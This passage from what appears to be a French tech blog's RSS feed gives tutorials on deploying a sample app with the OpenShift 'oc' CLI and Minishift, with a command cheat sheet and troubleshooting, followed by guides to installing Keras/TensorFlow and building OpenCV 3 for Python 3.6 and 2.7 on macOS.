<p>Dans cette section, nous allons déployer une application NodeJS fournie par OpenShift qui nous permettra de vérifier que tout fonctionne.</p>
<p>Il y a 3 manières de &ldquo;piloter&rdquo; OpenShift. Vous pouvez le faire avec le CLI, l&rsquo;interface Web ou directement via l&rsquo;API. Bien que l&rsquo;interface Web soit très simple à utiliser, on va utiliser le CLI pour la suite de cet article.</p>
<br/>
<p>Pour l&rsquo;installer, il suffit d&rsquo;exécuter la commande suivante:</p>
<pre tabindex="0"><code>$ brew install openshift-cli

# Vérifier l&#39;installation
$ oc version
oc v3.7.1+ab0f056
kubernetes v1.7.6+a08f5eeb62
features: Basic-Auth

Server https://192.168.64.5:8443
openshift v3.7.1+a8deba5-34
kubernetes v1.7.6+a08f5eeb62
</code></pre><br/>
<p>Si vous souhaitez obtenir des informations sur l&rsquo;interface Web, il y a un <a href="https://learn.openshift.com/introduction/getting-started/">très bon tutoriel sur le site d&rsquo;OpenShift</a> qui vous expliquera les points ci-dessous en vous aidant à déployer la webapp qui ressemble à cela:</p>
<p><img src="/images/map-app-openshift.png" alt="image"></p>
<br/>
<ul>
<li>Comment déployer une image disponible sur dockerhub</li>
<li>Comment <em>scaler</em> votre application extrèmement rapidement</li>
<li>Comment fonctionne le Routing HTTP avec HaProxy pour les services créés automatiquement lors du déploiement de l&rsquo;image. (Prenez le temps de regarder, sécuriser vos routes par TLS est vraiment très simple. C&rsquo;est limite une case à cocher&hellip;)</li>
<li>Comment <em>builder</em> une image à partir de votre code source sur Git (via l&rsquo;outil S2I opensource. La documentation de cet outil est disponible <a href="https://docs.openshift.org/latest/creating_images/s2i.html">ici</a>)</li>
</ul>
<br/>
<pre tabindex="0"><code>oc login
# Utilisez developer/developer comme credentials

# Création d&#39;un pod et déploiement de l&#39;application test (git clone, build et push de l&#39;image)
oc new-app https://github.com/openshift/nodejs-ex -l name=myapp

# Surveiller le déploiement en accédant aux logs
oc logs -f bc/nodejs-ex

# Création d&#39;un service Kubernetes 
# i.e: Exposer le port 80 en configurant un reverse proxy qui pointe sur le port 8080 du Pod précédement créé. 
oc expose svc/nodejs-ex
</code></pre><br/>
<p>Si tout s&rsquo;est bien passé, une URL &ldquo;publique&rdquo; va être générée et vous permettra d&rsquo;accéder à l&rsquo;application juste déployée. L&rsquo;application d&rsquo;exemple déployée <strong>via le CLI</strong> ressemble à ceci:</p>
<p><img src="/images/front-app-example-openshift.png" alt="image"></p>
<br/>
<h2 id="commandes-utiles-pour-le-cli">Commandes utiles pour le CLI</h2>
<p><strong>Switcher de compte OpenShift</strong></p>
<pre tabindex="0"><code>oc login --username developer 

# oc login --username &lt;username&gt; --password &lt;password&gt;
# oc login --token &lt;token&gt;
</code></pre><br/>
<p><strong>Lister les clusters sur lesquels on s&rsquo;est déjà connecté</strong></p>
<pre tabindex="0"><code>oc config get-clusters
</code></pre><br/>
<p><strong>Se connecter à un cluster spécifique avec un compte particulier</strong></p>
<pre tabindex="0"><code>oc login https://clusterA.leandeep.com --username superadmin
</code></pre><br/>
<p><strong>Lister tous les contextes</strong></p>
<pre tabindex="0"><code>oc config get-contexts
</code></pre><br/>
<p><strong>Who am I ?</strong></p>
<pre tabindex="0"><code>oc whoami

# oc whoami --token (voir le token actuel)
# oc whoami --show-server (voir le cluster actuel)
</code></pre><br/>
<p><strong>Lister les projets</strong></p>
<pre tabindex="0"><code>oc get projects
</code></pre><br/>
<p><strong>Créer un projet</strong></p>
<pre tabindex="0"><code>oc new-project mon_super_projet
</code></pre><br/>
<p><strong>Accéder à un projet</strong></p>
<pre tabindex="0"><code>oc project &lt;nom-du-projet&gt;
</code></pre><br/>
<p><strong>Créer une app s2i (source 2 image)</strong></p>
<pre tabindex="0"><code>oc new-app --source-secret &lt;nom-de-votre-secret-pour-se-connecter-a-votre-source-control&gt; &lt;image-docker-permettant-de-faire-du-s2i&gt;~https://bitbucket.org/user/repo-avec-du-nodejs-et-un-dockerfile.git --name nom-de-votre-app-dans-votre-projet
</code></pre><p><br/>
Les ressources suivantes vont être automatiquement créées:</p>
<pre tabindex="0"><code>--&gt; Creating resources ...
    imagestream &#34;image-docker-permettant-de-faire-du-s2i&#34; created
    imagestream &#34;nom-de-votre-app-dans-votre-projet&#34; created
    buildconfig &#34;nom-de-votre-app-dans-votre-projet&#34; created
    deploymentconfig &#34;nom-de-votre-app-dans-votre-projet&#34; created
    service &#34;nom-de-votre-app-dans-votre-projet&#34; created
</code></pre><br/>
<p><strong>Update une app s2i</strong></p>
<pre tabindex="0"><code>oc start-build &lt;nom-du-build-pour-votre-app&gt;
</code></pre><br/>
<p><strong>Delete une app</strong></p>
<pre tabindex="0"><code>oc delete all -l app=bla-bla-bla-https
</code></pre><br/>
<p><strong>Donner les droits en lecture à un utilisateur</strong></p>
<pre tabindex="0"><code>oc adm policy add-role-to-user view developer -n mon_super_projet

# oc adm policy add-role-to-user edit &lt;username&gt; -n &lt;project&gt; (donne les droits d&#39;écriture + création de déploiements + effacement d&#39;applications)

# oc adm policy add-role-to-user admin &lt;username&gt; -n &lt;project&gt; (donne tous les droits sur le projet)
</code></pre><br/>
<p><strong>Lister toutes les ressources d&rsquo;un projet (dont DNS exposé)</strong></p>
<pre tabindex="0"><code>oc get all

# Plus direct pour obtenir la route exposée
# oc get routes

# Lister et filtrer sur un label
oc get all -o name --selector app=apinodejs
</code></pre><br/>
<p><strong>Obtenir plus d&rsquo;information sur une ressource</strong></p>
<pre tabindex="0"><code>oc describe route/apinodejs
# alternative 
# oc describe route apinodejs
</code></pre><br/>
<p><strong>Comprendre OpenShift (obtenir des informations sur les ressources)</strong></p>
<pre tabindex="0"><code>oc get 
# ou 
# oc types
# ou
# oc explain route.spec.host (utile lorsqu&#39;on sort les réponses au format JSON. Exemple oc get route/apinodejs -o json ==&gt; lire l&#39;arborescence) 
</code></pre><br/>
<p><strong>Editer une ressource</strong></p>
<pre tabindex="0"><code>oc edit route/apinodejs 

ou 
oc edit route/apinodejs -o json
</code></pre><br/>
<p><strong>Créer une ressource (formats json ou yml acceptés)</strong></p>
<pre tabindex="0"><code>oc create -f apinodejs-fqdn.json

# Commande disponible pour la création de route
# oc create route edge apinodejs-fqdn --service apinodejs --insecure-policy Allow --hostname www.example.com
</code></pre><br/>
<p><strong>Editer une ressource</strong></p>
<pre tabindex="0"><code>oc replace -f apinodejs-fqdn.json

# Erreur si la ressource n&#39;existe pas. L&#39;alternative: oc apply 
</code></pre><br/>
<p><strong>Editer à la volée</strong></p>
<pre tabindex="0"><code>oc patch route/apinodejs-fqdn --patch &#39;{&#34;spec&#34;:{&#34;tls&#34;: {&#34;insecureEdgeTerminationPolicy&#34;: &#34;Allow&#34;}}}&#39;

# Erreur si la ressource n&#39;existe pas. L&#39;alternative: oc apply
</code></pre><br/>
<p><strong>Ajouter/Retirer un label sur un service</strong></p>
<pre tabindex="0"><code># Ajouter le label
oc label service/apinodejs web=true

# Retirer le label
oc label service/apinodejs web-
</code></pre><br/>
<p><strong>Effacer une ressource</strong></p>
<pre tabindex="0"><code>oc delete route/apinodejs-fqdn

# Effacer plusieurs ressources
# oc delete all [--all] --selector app=apinodejs
</code></pre><br/>
<p><strong>Créer un environnement from scratch</strong></p>
<pre tabindex="0"><code>conda create --name py35 python=3.5 
</code></pre><br/>
<p><strong>Connect as Minishift superadmin</strong></p>
<pre tabindex="0"><code>oc login -u system:admin
</code></pre><br/>
<p><strong>Accéder à Minishift en local</strong></p>
<pre tabindex="0"><code>oc login https://&lt;IP&gt;:8443 -u system:admin --insecure-skip-tls-verify=true
</code></pre><br/>
<p><strong>Obtenir l&rsquo;IP de Minishift</strong></p>
<pre tabindex="0"><code>minishift ip
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p><strong>Un pod en terminating state ne se kill pas</strong></p>
<pre tabindex="0"><code>oc get po 
oc delete pod &lt;pod-name&gt; -n &lt;pod-namespace&gt; --grace-period=0 --force
</code></pre><br/>
<p><strong>Un provisioned service &ldquo;marked for deletion&rdquo; ne s&rsquo;efface pas</strong></p>
<pre tabindex="0"><code>oc edit serviceinstance &lt;provisioned-service&gt; -n &lt;namespace&gt;
# Effacer metadata.finalizers de l&#39;instance comme workaround
</code></pre><br/>
<p><strong>L&rsquo;application ne s&rsquo;affiche pas</strong></p>
<p>Si vous avez l&rsquo;erreur suivante, c&rsquo;est qu&rsquo;il y a un problème de résolution DNS sur votre Mac:</p>
<br/>
<p><img src="/images/openshift-app-unreachable.png" alt="image"></p>
<br/>
<p>Pour corriger le problème, changez le DNS de votre Mac et utilisez celui de Google.
Pour ce faire, allez dans Préférences Système &ndash;&gt; Network &ndash;&gt; Cliquez sur le bouton avancé en bas à droit après avoir sélectionné l&rsquo;interface réseau que vous utilisez &ndash;&gt; Cliquez sur l&rsquo;onglet DNS &ndash;&gt; Ajoutez 8.8.8.8 dans la section DNS</p>
<br/>
<p><strong>Vous avez tout crashé et vous voulez tout recommencer de 0</strong></p>
<p>En cas d&rsquo;erreur avec votre VM, cette commande peut être utile pour effacer les dossiers en cache. Supprimer la VM dans VirtualBox ne suffit pas.</p>
<pre tabindex="0"><code># Effacer le cache et la VM
minishift delete --clear-cache

# recréer votre VM
minishift start delete

# Si éventuellement vous ne pouvez pas recréer votre nouvelle VM car il reste des fichiers persistants, effacer le dossier suivant:
rm -rf ~/.minishift/machines/*
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Keras (et Tensorflow) sur OS X</title>
            <link>https://leandeep.com/installer-keras-et-tensorflow-sur-os-x/</link>
            <pubDate>Sat, 10 Feb 2018 19:11:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-keras-et-tensorflow-sur-os-x/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment installer Keras sur OS X (High Sierra) pour faire du Deep Learning.&lt;/p&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;p&gt;Si vous voulez utiliser Keras, vous allez sans doute avoir besoin d&amp;rsquo;OpenCV.
J&amp;rsquo;ai réalisé un article sur l&amp;rsquo;installation d&amp;rsquo;OpenCV 3 pour Python 3.6. Cela explique également comment installer des environnements virtuels; ce qui est vraiment très utile. Si vous voulez installer Keras en suivant cet article et ne rencontrer aucun problème, je vous recommande de suivre le tutoriel suivant: &lt;a href=&#34;http://blog.leandeep.com/installer-python-3-et-opencv-3-sur-os-x/&#34;&gt;installer OpenCV 3 sur Python 3.6&lt;/a&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment installer Keras sur OS X (High Sierra) pour faire du Deep Learning.</p>
<h2 id="pré-requis">Pré-requis</h2>
<p>Si vous voulez utiliser Keras, vous allez sans doute avoir besoin d&rsquo;OpenCV.
J&rsquo;ai réalisé un article sur l&rsquo;installation d&rsquo;OpenCV 3 pour Python 3.6. Cela explique également comment installer des environnements virtuels; ce qui est vraiment très utile. Si vous voulez installer Keras en suivant cet article et ne rencontrer aucun problème, je vous recommande de suivre le tutoriel suivant: <a href="http://blog.leandeep.com/installer-python-3-et-opencv-3-sur-os-x/">installer OpenCV 3 sur Python 3.6</a>.</p>
<br/>
<h2 id="installation-de-keras">Installation de Keras</h2>
<p>Commencez par créez un nouvel environnement virtuel (même si vous en avez déjà créé un auparavant) et donnez lui un nom explicite.</p>
<pre tabindex="0"><code>$ mkvirtualenv py3_keras_tf -p python3
</code></pre><p>Dans votre nouvel environnement virtuel, installez les librairies suivantes:</p>
<pre tabindex="0"><code>$ pip install scipy #Librairie dédiée aux méthodes numériques (Résolution de système d&#39;équations linéaire, Transformée de Fourier, Interpolation...)
$ pip install pillow imutils # Librairie de manipulation d&#39;image 
$ pip install h5py # Permet de gérer les binaires au format HDF5
$ pip install requests progressbar2 # Utilitaires
$ pip install scikit-learn scikit-image # Librairie de machine learning

$ pip install matplotlib # Permet de tracer et visualiser des données sous formes de graphiques
# Les 3 commandes qui suivent permettent de gérer l&#39;affichage sur OSX 
$ mkdir ~/.matplotlib
$ touch ~/.matplotlib/matplotlibrc 
$ echo &#34;backend: TkAgg&#34; &gt;&gt; ~/.matplotlib/matplotlibrc 
</code></pre><p>Nous utiliserons Keras avec Tensorflow comme backend. Il est possible d&rsquo;en utiliser d&rsquo;autres comme <a href="http://deeplearning.net/software/theano/">Theano</a> ou encore <a href="https://www.microsoft.com/en-us/cognitive-toolkit/">CNTK</a> mais ce n&rsquo;est pas l&rsquo;objet de cet article.</p>
<p>Il faut donc installer Tensorflow</p>
<pre tabindex="0"><code>$ pip install tensorflow
</code></pre><p>Vous pouvez maintenant installer Keras</p>
<pre tabindex="0"><code>$ pip install keras
</code></pre><br/>
<h2 id="vérification-de-linstallation">Vérification de l&rsquo;installation</h2>
<pre tabindex="0"><code>$ python
&gt;&gt;&gt; import keras
Using TensorFlow backend.
&gt;&gt;&gt; Ctrl-D
</code></pre><p>Voilà c&rsquo;est tout !
Nous ne verrons pas dans cet article comment utiliser le GPU pour optimiser la phase d&rsquo;apprentissage de votre réseau de neurones. Je ne vous recommande pas de le faire avec un Mac ou Macbook. Utilisez plutôt des machines conçues pour cela avec des vraies GPU faits pour cela.</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Python 3.6.x et OpenCV 3 sur OS X</title>
            <link>https://leandeep.com/installer-python-3.6.x-et-opencv-3-sur-os-x/</link>
            <pubDate>Tue, 06 Feb 2018 23:05:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-python-3.6.x-et-opencv-3-sur-os-x/</guid>
            <description>&lt;p&gt;Comme l&amp;rsquo;installatin d&amp;rsquo;OpenCV n&amp;rsquo;est vraiment pas aisée. J&amp;rsquo;ai donc décidé d&amp;rsquo;écrire cet article. Si vous suivez cette procédure vous devriez pouvoir faire tourner OpenCV 3 sur OSX High Sierra dans un environnement virtuel.&lt;/p&gt;
&lt;p&gt;Il s&amp;rsquo;agit du deuxième article que j&amp;rsquo;écris sur l&amp;rsquo;installation d&amp;rsquo;OpenCV. Cette article se focalise sur l&amp;rsquo;installation d&amp;rsquo;OpenCV 3 pour Python 3.6.x. Si vous souhaitez installer OpenCV 3 pour python 2.7.x, vous pouvez lire &lt;a href=&#34;http://blog.leandeep.com/installer-python-2-7-x-et-opencv-3-sur-os-x/&#34;&gt;mon autre article&lt;/a&gt;.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Xcode doit être installé&lt;/li&gt;
&lt;li&gt;Xcode a déjà dû être démarré et vous avez accepté les conditions générales&lt;/li&gt;
&lt;li&gt;Les commandes lines tools ont déjà été installés. Si ce n&amp;rsquo;est pas le cas exécutez la commande suivante: $ sudo xcode-select &amp;ndash;install&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://brew.sh/index_fr.html&#34;&gt;Homebrew&lt;/a&gt; doit être installé&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installer-python-3&#34;&gt;Installer Python 3&lt;/h2&gt;
&lt;p&gt;Même si Python est déjà installé sur votre Mac, installez le une nouvelle fois avec Homebrew:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Comme l&rsquo;installatin d&rsquo;OpenCV n&rsquo;est vraiment pas aisée. J&rsquo;ai donc décidé d&rsquo;écrire cet article. Si vous suivez cette procédure vous devriez pouvoir faire tourner OpenCV 3 sur OSX High Sierra dans un environnement virtuel.</p>
<p>Il s&rsquo;agit du deuxième article que j&rsquo;écris sur l&rsquo;installation d&rsquo;OpenCV. Cette article se focalise sur l&rsquo;installation d&rsquo;OpenCV 3 pour Python 3.6.x. Si vous souhaitez installer OpenCV 3 pour python 2.7.x, vous pouvez lire <a href="http://blog.leandeep.com/installer-python-2-7-x-et-opencv-3-sur-os-x/">mon autre article</a>.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>Xcode doit être installé</li>
<li>Xcode a déjà dû être démarré et vous avez accepté les conditions générales</li>
<li>Les commandes lines tools ont déjà été installés. Si ce n&rsquo;est pas le cas exécutez la commande suivante: $ sudo xcode-select &ndash;install</li>
<li><a href="https://brew.sh/index_fr.html">Homebrew</a> doit être installé</li>
</ul>
<br/>
<h2 id="installer-python-3">Installer Python 3</h2>
<p>Même si Python est déjà installé sur votre Mac, installez le une nouvelle fois avec Homebrew:</p>
<pre tabindex="0"><code>$ brew install python3
</code></pre><p>Vérifiez que Python 3 et pip fonctionnent.</p>
<pre tabindex="0"><code>$ python3 --version
$ pip3 --version
</code></pre><p>Vérifiez aussi que ce sont bien les nouvelles versions de Python et pip qui sont utilisées</p>
<pre tabindex="0"><code>$ which python3
$ which pip3
</code></pre><br/>
<h2 id="créer-un-environnement-virtuel">Créer un environnement virtuel</h2>
<pre tabindex="0"><code>$ pip3 install virtualenv virtualenvwrapper # /!\ il se peut que sudo soit nécessaire
</code></pre><p>Ajoutez les lignes suivantes dans votre ~/.zshrc (ou ~/.bash_profile)</p>
<pre tabindex="0"><code># Support d&#39;environnements virtuels pour Python 3
export VIRTUALENVWRAPPER_PYTHON=/usr/local/bin/python3
source /usr/local/bin/virtualenvwrapper.sh
</code></pre><p>Une fois ces lignes ajoutées, &ldquo;rechargez&rdquo; votre terminal en exécutant la commande suivante:</p>
<pre tabindex="0"><code>$ source ~/.zshrc # ou $ source ~/.bash_profile
</code></pre><p>Vous pouvez maintenant créer votre environnement virtuel pour OpenCV 3 et Python 3</p>
<pre tabindex="0"><code>$ mkvirtualenv py3_cv3 -p python3
</code></pre><p>Une fois créé, fermez votre terminal et réouvrez en un nouveau.
Par défault vous n&rsquo;êtes pas dans l&rsquo;environnement Python que vous avez créé. Si vous souhaitez rentrer dedans, utilisez la commande suivante:</p>
<pre tabindex="0"><code>$ workon py3_cv3
</code></pre><p>Si tout se passe bien, votre prompt du terminal sera préfixé du nom de votre environnement entre parenthèses.</p>
<p><em>Remarquez que vous n&rsquo;avez pas besoin d&rsquo;utiliser pip3 dans cet environnement virtuel. La commande $ pip &ndash;version nous indique bien que pip est lié à Python 3.6.x. En dehors de cet environnement virtuel vous devrez utiliser pip3 pour que des librairies liées à Python 3 soient téléchargées.</em></p>
<p>Si vous souhaitez quitter votre environnement virtuel utilisez la commande suivante:</p>
<pre tabindex="0"><code>$ deactivate
</code></pre><p><em>Pour tout ce qui suit, travaillez dans le nouvel environnement virtuel que l&rsquo;on vient de créer</em></p>
<br/>
<h2 id="installer-numpy">Installer Numpy</h2>
<p>Numpy est une bibliothèque très connue de calculs scientiques nécessaire pour OpenCV.</p>
<pre tabindex="0"><code>pip install numpy
</code></pre><br/>
<h2 id="installer-les-pré-requis-à-opencv-3">Installer les pré-requis à OpenCV 3</h2>
<p>Pour qu&rsquo;on OpenCV 3 fonctionne certains pré-requis sont nécessaires.
Heureusement l&rsquo;installation de ces pré-requis est aisée grâce à Homebrew.</p>
<pre tabindex="0"><code>$ brew install cmake pkg-config # Nécessaire pour compiler OpenCV
$ brew install jpeg libpng libtiff openexr # Nécessaire pour manipuler les images 
$ brew install eigen # Nécessaire pour faire des calculs algébriques
$ brew install tbb # Nécessaire pour faire les calculs parallèles
</code></pre><br/>
<h2 id="installer-opencv">Installer OpenCV</h2>
<p>Commencez par télécharger OpenCV. Il y a 2 repositories git à cloner.
(Vous n&rsquo;avez pas besoin de tout l&rsquo;historique du repository)</p>
<pre tabindex="0"><code>$ cd
$ git clone https://github.com/opencv/opencv --depth 1
$ git clone https://github.com/opencv/opencv_contrib --depth 1
</code></pre><p>Vous allez maintenant pouvoir builder OpenCV.</p>
<pre tabindex="0"><code>$ cd ~/opencv
$ mkdir build
$ cd build

# Configuration
$ cmake -D CMAKE_BUILD_TYPE=RELEASE \
    -D CMAKE_INSTALL_PREFIX=/usr/local \
    -D OPENCV_EXTRA_MODULES_PATH=~/opencv_contrib/modules \
    -D PYTHON3_LIBRARY=`python -c &#39;import subprocess ; import sys ; s = subprocess.check_output(&#34;python-config --configdir&#34;, shell=True).decode(&#34;utf-8&#34;).strip() ; (M, m) = sys.version_info[:2] ; print(&#34;{}/libpython{}.{}.dylib&#34;.format(s, M, m))&#39;` \
    -D PYTHON3_INCLUDE_DIR=`python -c &#39;import distutils.sysconfig as s; print(s.get_python_inc())&#39;` \
    -D PYTHON3_EXECUTABLE=$VIRTUAL_ENV/bin/python \
    -D BUILD_opencv_python2=OFF \
    -D BUILD_opencv_python3=ON \
    -D INSTALL_PYTHON_EXAMPLES=ON \
    -D INSTALL_C_EXAMPLES=OFF \
    -D BUILD_EXAMPLES=ON ..

# Compilation
$ make -j4 # -j4 permet d&#39;utiliser les 4 cœurs de mon Mac lors de la compilation

# Installation
$ sudo make install

# Symlink
$ cd /usr/local/lib/python3.6/site-packages
$ ls -l | grep cv2.cpython-36m-darwin.so # Vérifiez que le fichier cv2.cpython-36m-darwin.so est bien présent
$ cd ~/.virtualenvs/py3_cv3/lib/python3.6/site-packages
$ ln -s /usr/local/lib/python3.6/site-packages/cv2.cpython-36m-darwin.so cv2.so
</code></pre><br/>
<h2 id="vérification-de-linstallation">Vérification de l&rsquo;installation</h2>
<p>Ouvrez un nouveau terminal et vérifiez que l&rsquo;installation d&rsquo;OpenCV fonctionne dans votre environnement virtuel.</p>
<pre tabindex="0"><code>$ workon py3_cv3
$ python
&gt;&gt;&gt; import cv2
&gt;&gt;&gt; cv2.__version__
&#39;3.4.0-dev&#39;
&gt;&gt;&gt; Ctrl-D
</code></pre><p>Et voilà l&rsquo;installation d&rsquo;OpenCV 3 pour Python 3.6.x est terminée!
J&rsquo;espère que vous ne rencontrerez pas de problème et que je vous aurais fait gagner des heures; tout comme avec mon autre article sur l&rsquo;<a href="http://blog.leandeep.com/installer-python-2-7-x-et-opencv-3-sur-os-x/">installation d&rsquo;OpenCV 3 pour Python 2.7.x</a> !</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Python 2.7.x et OpenCV 3 sur OS X</title>
            <link>https://leandeep.com/installer-python-2.7.x-et-opencv-3-sur-os-x/</link>
            <pubDate>Fri, 02 Feb 2018 13:45:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-python-2.7.x-et-opencv-3-sur-os-x/</guid>
            <description>&lt;p&gt;Comme l&amp;rsquo;installatin d&amp;rsquo;OpenCV n&amp;rsquo;est vraiment pas aisée. J&amp;rsquo;ai donc décidé d&amp;rsquo;écrire cet article. Si vous suivez cette procédure vous devriez pouvoir faire tourner OpenCV 3 sur OSX High Sierra dans un environnement virtuel.&lt;/p&gt;
&lt;p&gt;OpenCV 3 est bien sûr compatible avec Python 3 mais comme beaucoup de développeurs Python utilisent encore la version 2, j&amp;rsquo;ai décidé de faire 2 tutoriaux. Il y a celui-ci pour Python 2.7.x et il y en un autre pour &lt;a href=&#34;http://blog.leandeep.com/installer-python-3-et-opencv-3-sur-os-x/&#34;&gt;installer OpenCV 3 pour Python 3.5.x&lt;/a&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Comme l&rsquo;installatin d&rsquo;OpenCV n&rsquo;est vraiment pas aisée. J&rsquo;ai donc décidé d&rsquo;écrire cet article. Si vous suivez cette procédure vous devriez pouvoir faire tourner OpenCV 3 sur OSX High Sierra dans un environnement virtuel.</p>
<p>OpenCV 3 est bien sûr compatible avec Python 3 mais comme beaucoup de développeurs Python utilisent encore la version 2, j&rsquo;ai décidé de faire 2 tutoriaux. Il y a celui-ci pour Python 2.7.x et il y en un autre pour <a href="http://blog.leandeep.com/installer-python-3-et-opencv-3-sur-os-x/">installer OpenCV 3 pour Python 3.5.x</a>.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>Xcode doit être installé</li>
<li>Xcode a déjà dû être démarré et vous avez accepté les conditions générales</li>
<li>Les commandes lines tools ont déjà été installés. Si ce n&rsquo;est pas le cas exécutez la commande suivante: $ sudo xcode-select &ndash;install</li>
<li><a href="https://brew.sh/index_fr.html">Homebrew</a> doit être installé</li>
</ul>
<br/>
<h2 id="installer-python">Installer Python</h2>
<p>Même si Python est déjà installé sur votre Mac, installez le une nouvelle fois avec Homebrew:</p>
<pre tabindex="0"><code>$ brew install python
# Cela va installer python dans /usr/local/opt/
</code></pre><p>Ajoutez au PATH de votre Mac la nouvelle installation de Python.
Si comme moi vous utilisez le terminal <a href="http://ohmyz.sh/">ohmyzsh</a>, vous devez ajoutez les lignes suivantes dans le ficher ~/.zshrc.
Si vous utilisez le terminal classique d&rsquo;OSX, ajoutez les lignes suivantes en bas du fichier ~/.bash_profile</p>
<pre tabindex="0"><code># Ajout de Python 2 installé via Homebrew dans le PATH
export PATH=&#34;/usr/local/opt/python/libexec/bin:$PATH&#34;
</code></pre><p>Une fois ajouté, &ldquo;rechargez&rdquo; votre terminal en exécutant la commande $ source ~/.zshrc ($ source ~/.bash_profile)</p>
<p>Vérifiez que Python et pip fonctionnent.
Vérifiez aussi que ce sont bien les nouvelles versions de Python et pip qui sont utilisées</p>
<pre tabindex="0"><code>$ which python
$ which pip
</code></pre><br/>
<h2 id="installer-les-packages-de-création-denvironnements-virtuels">Installer les packages de création d&rsquo;environnements virtuels</h2>
<p>Les packages virtualenv et virtualenvwrapper vont vous permettre de créer environnements Python différents. Tout est isolé; vous pouvez avoir des librairies différentes dans chaque environnement. C&rsquo;est extrèmement pratique; je le recommande fortement.</p>
<pre tabindex="0"><code>$ pip install virtualenv virtualenvwrapper # /!\ il se peut que sudo soit nécessaire
</code></pre><p>Ajoutez les lignes suivantes dans votre ~/.zshrc (ou ~/.bash_profile)</p>
<pre tabindex="0"><code># Support d&#39;environnement virtuel pour Python 2
source /usr/local/bin/virtualenvwrapper.sh
</code></pre><p>Une fois ces lignes ajoutées, &ldquo;rechargez&rdquo; votre terminal en exécutant la commande $ source ~/.zshrc ($ source ~/.bash_profile)</p>
<br/>
<h2 id="créer-un-environnement-virtuel">Créer un environnement virtuel</h2>
<p>Pour créer un nouvel environement, il suffit d&rsquo;utiliser la commande suivante. Afin de vous y retrouver avec les différents environnement, je vous conseille d&rsquo;utiliser un nom court et très explicite avec les numéros de version.</p>
<pre tabindex="0"><code>$ mkvirtualenv py2_cv3
</code></pre><p>Une fois créé, fermez votre terminal et réouvrez en un nouveau.
Par défault vous n&rsquo;êtes pas dans l&rsquo;environnement Python que vous avez créé. Si vous souhaitez rentrer dedans, utilisez la commande suivante:</p>
<pre tabindex="0"><code>$ workon py2_cv3
</code></pre><p>Si tout se passe bien, votre prompt du terminal sera préfixé du nom de votre environnement entre parenthèses.</p>
<p>Si vous souhaitez quitter votre environnement virtuel utilisez la commande suivante:</p>
<pre tabindex="0"><code>$ deactivate
</code></pre><p><em>Pour tout ce qui suit, travaillez dans le nouvel environnement virtuel que l&rsquo;on vient de créer</em></p>
<br/>
<h2 id="installer-numpy">Installer Numpy</h2>
<p>Numpy est une bibliothèque très connue de calculs scientiques nécessaire pour OpenCV.</p>
<pre tabindex="0"><code>pip install numpy
</code></pre><br/>
<h2 id="installer-les-pré-requis-à-opencv-3">Installer les pré-requis à OpenCV 3</h2>
<p>Pour qu&rsquo;on OpenCV 3 fonctionne certains pré-requis sont nécessaires.
Heureusement l&rsquo;installation de ces pré-requis est aisée grâce à Homebrew.</p>
<pre tabindex="0"><code>$ brew install cmake pkg-config # Nécessaire pour compiler OpenCV
$ brew install jpeg libpng libtiff openexr # Nécessaire pour manipuler les images 
$ brew install eigen # Nécessaire pour faire des calculs algébriques
$ brew install tbb # Nécessaire pour faire les calculs parallèles
</code></pre><br/>
<h2 id="installer-opencv">Installer OpenCV</h2>
<p>Commencez par télécharger OpenCV. Il y a 2 repositories git à cloner.
(Vous n&rsquo;avez pas besoin de tout l&rsquo;historique du repository)</p>
<pre tabindex="0"><code>$ cd
$ git clone https://github.com/opencv/opencv --depth 1
$ git clone https://github.com/opencv/opencv_contrib --depth 1
</code></pre><p>Vous allez maintenant pouvoir builder OpenCV.</p>
<pre tabindex="0"><code>$ cd ~/opencv
$ mkdir build
$ cd build

# Configuration
$ cmake -D CMAKE_BUILD_TYPE=RELEASE \
    -D CMAKE_INSTALL_PREFIX=/usr/local \
    -D OPENCV_EXTRA_MODULES_PATH=~/opencv_contrib/modules \
    -D PYTHON2_LIBRARY=`python -c &#39;import subprocess ; import sys ; s = subprocess.check_output(&#34;python-config --configdir&#34;, shell=True).decode(&#34;utf-8&#34;).strip() ; (M, m) = sys.version_info[:2] ; print(&#34;{}/libpython{}.{}.dylib&#34;.format(s, M, m))&#39;` \
    -D PYTHON2_INCLUDE_DIR=`python -c &#39;import distutils.sysconfig as s; print(s.get_python_inc())&#39;` \
    -D PYTHON2_EXECUTABLE=$VIRTUAL_ENV/bin/python \
    -D BUILD_opencv_python2=ON \
    -D BUILD_opencv_python3=OFF \
    -D INSTALL_PYTHON_EXAMPLES=ON \
    -D INSTALL_C_EXAMPLES=OFF \
    -D BUILD_EXAMPLES=ON ..

# Compilation
$ make -j4 # -j4 permet d&#39;utiliser les 4 cœurs de mon Mac lors de la compilation

# Installation
$ sudo make install

# Symlink
$ cd /usr/local/lib/python2.7/site-packages/
$ ls -l | grep cv2.so # Vérifiez que le fichier cv2.so est bien présent
$ cd ~/.virtualenvs/py2_cv3/lib/python2.7/site-packages/
$ ln -s /usr/local/lib/python2.7/site-packages/cv2.so cv2.so
</code></pre><br/>
<h2 id="vérification-de-linstallation">Vérification de l&rsquo;installation</h2>
<p>Ouvrez un nouveau terminal et vérifiez que l&rsquo;installation d&rsquo;OpenCV fonctionne dans votre environnement virtuel.</p>
<pre tabindex="0"><code>$ workon py2_cv3
$ python
&gt;&gt;&gt; import cv2
&gt;&gt;&gt; cv2.__version__
&gt;&gt;&gt; Ctrl-D
